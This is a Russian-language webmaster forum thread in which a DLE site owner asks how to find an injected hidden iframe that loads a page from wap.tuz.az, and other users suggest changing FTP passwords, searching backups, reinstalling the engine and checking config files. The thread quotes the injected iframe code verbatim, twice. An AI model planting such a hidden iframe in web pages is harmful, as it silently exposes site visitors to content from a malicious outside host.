X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Вирус на сайте мож кто знает такой?
tsa
tsa
Topic Starter сообщение 26.9.2011, 18:34; Ответить: tsa
Сообщение #1


Здравствуйте форумчане, может кто сталкивался с данным вирусом на сайте и знает в каком файле он лежит?

помогите плз уже глаза болят просматривать весь движок DLE 9.3


[noindex][li][!--LiveInternet counter--][iframe src="http://wap.tuz.az/1/local/privat/c.php" width="10"
height="10" style="visibility:hidden;position:absolute;left:0;top:0;"][/iframe]


Сообщение отредактировал tsa - 26.9.2011, 18:35


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serhio11
serhio11
сообщение 26.9.2011, 18:57; Ответить: serhio11
Сообщение #2


(tsa @ 26.9.2011, 18:34) *
Здравствуйте форумчане, может кто сталкивался с данным вирусом на сайте и знает в каком файле он лежит?

помогите плз уже глаза болят просматривать весь движок DLE 9.3


[noindex][li][!--LiveInternet counter--][iframe src="http://wap.tuz.az/1/local/privat/c.php" width="10"
height="10" style="visibility:hidden;position:absolute;left:0;top:0;"][/iframe]


Так удалите эту строчку! Или снова появляется?
У меня подобное было на одном сайте. Удаляешь, через какое то время опять появляется. Помогла смена пароля на ftp доступ к сайту, который хранился в Total Commander.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 26.9.2011, 19:00; Ответить: tsa
Сообщение #3


(serhio11 @ 26.9.2011, 18:57) *
Так удалите эту строчку! Или снова появляется?
У меня подобное было на одном сайте. Удаляешь, через какое то время опять появляется. Помогла смена пароля на ftp доступ к сайту, который хранился в Total Commander.

я не могу вообще найти где эта строчка с вирусои лежит! мне яндекс укозал какой код и все !


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serhio11
serhio11
сообщение 26.9.2011, 19:10; Ответить: serhio11
Сообщение #4


(tsa @ 26.9.2011, 19:00) *
я не могу вообще найти где эта строчка с вирусои лежит! мне яндекс укозал какой код и все !


Скачайте бэкап сайта на локальный комп. И по всей папке поиск по содержимому файлов запустите с этой строчкой. Total Commander`ом можно.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 26.9.2011, 19:21; Ответить: tsa
Сообщение #5


(serhio11 @ 26.9.2011, 19:10) *
Скачайте бэкап сайта на локальный комп. И по всей папке поиск по содержимому файлов запустите с этой строчкой. Total Commander`ом можно.

Поиск не дал результатов =( наверно как то зашифрован данный код =(


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
infant
infant
сообщение 26.9.2011, 19:38; Ответить: infant
Сообщение #6


в личку напишите, попробую помочь найти вашу беду. Весь двиг перебирать не буду, но самые подверженные файлы пройдусь на предмет лишнего в них.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Grouom
Grouom
сообщение 27.9.2011, 14:01; Ответить: Grouom
Сообщение #7


Самый простой способ удалить вирус - заменить движок (перезалить). Если конечно в него не вносились изменения...
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
algaretio
algaretio
сообщение 27.9.2011, 21:21; Ответить: algaretio
Сообщение #8


Он может быть в папке Engine, в engine/data/config.php, если не ошибаюсь, также можете проверить dbconfig.php, код может быть зашифрован. Лучше вообще поставить на эти файлы 644, конечно тогда в админке не сможете менять настройки движка, но тут уж выбирайте smile.gif

Сообщение отредактировал algaretio - 27.9.2011, 21:22


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
МIX
МIX
сообщение 27.9.2011, 21:43; Ответить: МIX
Сообщение #9


Вирусы обычно заражают по 500...800 файлов.
Удаление вирусов с сайта интересует? Пишите в ЛС, а лучше, в аську сразу.

Сообщение отредактировал МIX - 27.9.2011, 21:44
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 23.3.2012, 12:06; Ответить: tsa
Сообщение #10


Блин полгода не появлялся этот вирус думал удалил вот снова появился как его найти вотд код вируса

<iframe src="http://wap.tuz.az/1/local/privat/c.php" width="10"
height="10" style="visibility:hidden;position:absolute;left:0;top:0;"></iframe>

он наверно как то зашифрован и в ручную искал и сервисами ни чего не дало результатов =(


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыБыстрый и качественный обмен на сайте Baksman.org
Обмен Bitcoin, BTC-e, PM, Qiwi, Yandex money, Карты банк
52 Baksman 33568 Вчера, 5:02
автор: Baksman
Открытая тема (нет новых ответов) Боты могут делать пушподписки на моём сайте?
0 Megaspryt 407 17.4.2024, 23:29
автор: Megaspryt
Горячая тема (нет новых ответов) CryptoCloud — прием USDT, BTC, ETH, LTC на любом сайте
36 CryptoCLoud 10638 16.4.2024, 16:02
автор: CryptoCLoud
Открытая тема (нет новых ответов) Кто где хранит файлы? И какой объем?
просто интересно
22 mark2013 2642 15.4.2024, 8:08
автор: Room
Горячая тема (нет новых ответов) Странный трафик на сайте длительное время
33 TABAK 8745 12.4.2024, 5:56
автор: Skyworker


 



RSS Текстовая версия Сейчас: 19.4.2024, 4:04
Дизайн